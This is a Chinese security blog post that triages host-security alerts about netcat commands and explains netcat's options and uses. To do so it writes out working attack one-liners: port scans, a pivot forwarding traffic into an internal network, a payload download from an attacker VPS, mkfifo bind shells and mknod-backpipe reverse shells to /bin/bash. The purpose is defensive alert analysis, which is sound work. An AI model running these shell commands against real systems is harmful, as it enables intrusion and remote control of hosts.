netcat与高危命令告警研判

admin 2023年12月19日09:18:13评论15 views字数 2562阅读8分32秒阅读模式

一、起因

(一)告警信息

某主机安全系统,多次检测到与netcat相关的所谓高危命令,如:

nc -zv 内网IP1 端口1

nc -nzv 内网IP2 端口2

nv -6l 8888


(二)问题的提出

  • netcat有哪些用法?

  • 检测到的netcat命令是否恶意行为?

下面,我们对netcat命令进行研究,之后再回答以上问题。


二、了解netcat命令

(一)查看netcat的帮助信息

kali linux系统中的nc.traditional为例,说明netcat使用的参数和选项

用法:

连接到某处:nc [-options] hostname port

展开收缩
[ports] ...

监听入站连接:nc -l -p port [-options] [hostname] [port]

选项:

-c //执行shell命令,类似于`-e'。执行/bin/sh(危险)

-e filename //连接后要执行的程序(危险)

-b //允许广播

-g gateway //源路由越点,最多指定8个

-G num  //源路由指针:4, 8, 12, ...

-h  //查看帮助

-i secs  //扫描端口的时间间隔

-k //为socket设置keepalive选项

-l  //监听模式,接收入站连接

-n  //不做dns解析

-o file  //以十六进制形式显示流量

-p port  //指定本地端口

-r  //使用随机的本地和远程端口

-q secs  //延迟指定秒数后退出

-s addr  //本地源地址

-T tos  //指定服务类型TOS

-t  //以TELNET的形式应答入站请求

-u  //UDP模式

-v  //详细输出,使用-vv获取更详细的输出

-w secs  //指定连接超时时间

-C  //在行尾发送CRLF

-z  //zero-I/O模式,用于端口扫描

端口扫描时可执行单个或者范围:低-高(包含边界)


(二)netcat命令的用法

1、 测试目标端口连通性

使用netcat测试目标主机端口的连通性,主要用于排查网络故障。

//测试远程主机的443端口的连通性

nc -zv 192.168.242.149 22

netcat与高危命令告警研判

//测试TCP 1-1024范围端口的连通性

nc -zv 192.168.242.149 1-1024 2>&1 | grep succeeded

netcat与高危命令告警研判


2、 获取应用程序banner

在信息收集过程中,可通过netcat获取目标服务banner,从而定位相关漏洞。

//netcat连接目标主机的服务端口

nc -vv smtp.163.com 25

netcat与高危命令告警研判


3、 端口转发

在后渗透阶段,在已经被攻破的边界主机上,通过netcat将流量转发到内网从而进行攻击。

//边界主机使用nc将访问本机8000端口的流量转发到内网192.168.242.1103389端口

nc -l -p 8000 -c "nc 192.168.242.110 3389"

netcat与高危命令告警研判

//攻击者访问netcat主机的8000端口,即可访问到内网192.168.242.110的远程桌面

192.168.159.57:8000

netcat与高危命令告警研判

成功访问到内网主机的远程桌面服务端口。


4、 信息传输

服务端使用netcat监听指定端口,客户端连接该端口,则双方之间可以传递信息:

//服务器(192.168.242.149)监听TCP 1000端口

nc -l -p 1000

//客户端连接服务器的1000端口

nc 192.168.242.149 1000

双方任何一端发出的信息对方都能收到:

netcat与高危命令告警研判


//客户端将本地进程列表发送给服务端

ps aux | nc 192.168.242.149 1000

服务端接收到的信息:

netcat与高危命令告警研判


5、 文件传输

在后渗透阶段,通过netcat将攻击程序从VPS下载到被攻击服务器。

//攻击者在VPS(192.168.43.237)上创建测试文件并运行netcat监听端口

echo "get by netcat." > netcat.sent

nc -l -p 12345 < netcat.sent

netcat与高危命令告警研判

//被攻击主机使用netcat下载文件

nc 192.168.43.237 12345 > netcat.get

netcat与高危命令告警研判

文件传输成功。


6、 正向shell

(1) 目标主机的nc支持“-e”选项

//目标主机(192.168.242.149)监听本地端口并在连接后提供shell

nc -l -p 5555 -e

//攻击者连接到目标主机并获取shell

nc 192.168.242.149 5555

netcat与高危命令告警研判

(2) 目标主机的nc不支持“-e”选项

//目标主机(192.168.242.146)监听本地1234端口

rm -f /tmp/f; mkfifo /tmp/f

cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.242.146 1234 > /tmp/f

netcat与高危命令告警研判

//攻击者连接到目标主机

nc 192.168.242.146 1234

netcat与高危命令告警研判

连接成功,得到了shell。


7、 反向shell

(1) ipv4反弹shell

//攻击者监听本地(192.168.242.1)的5554端口

nc -l 192.168.242.1 5554

//被攻击主机(192.168.242.146)执行反弹连接

mknod backpipe p && nc 192.168.242.1 5554 0<backpipe | /bin/bash 1>backpipe

//攻击者得到反弹shell

netcat与高危命令告警研判

(2) ipv6反弹shell

//攻击者监听本地IPv6地址的8888端口

nc -6l 8888

//被攻击主机(192.168.242.146)执行反弹连接

mknod backpipe p && nc fe80::250:56ff:fec0:8 8888 0<backpipe | /bin/bash 1>backpipe

netcat与高危命令告警研判

//攻击者得到反弹shell

netcat与高危命令告警研判

三、netcat作为高危命令的研判

通过对netcat命令的简单了解,再看告警中的netcat命令:

nc -zv 内网IP1 端口1

该命令用于探测内网IP1是否开放了端口1


nc -nzv 内网IP2 端口2

该命令用于探测内网IP2是否开放了端2,并要求不对IP2进行反向dns解析


nv -6l 8888

这条命令的作用是监听本机IPv6地址的8888端口。该命令的执行比较可疑,有可能是在进行信息传输,也有可能是在等待失陷主机的反弹连接从而获取反弹shell。此时应联系系统管理员到主机上进行排查。

原文始发于微信公众号(新蜂网络安全实验室):​netcat与高危命令告警研判

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日09:18:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   netcat与高危命令告警研判http://cn-sec.com/archives/2315339.html

发表评论

匿名网友 填写信息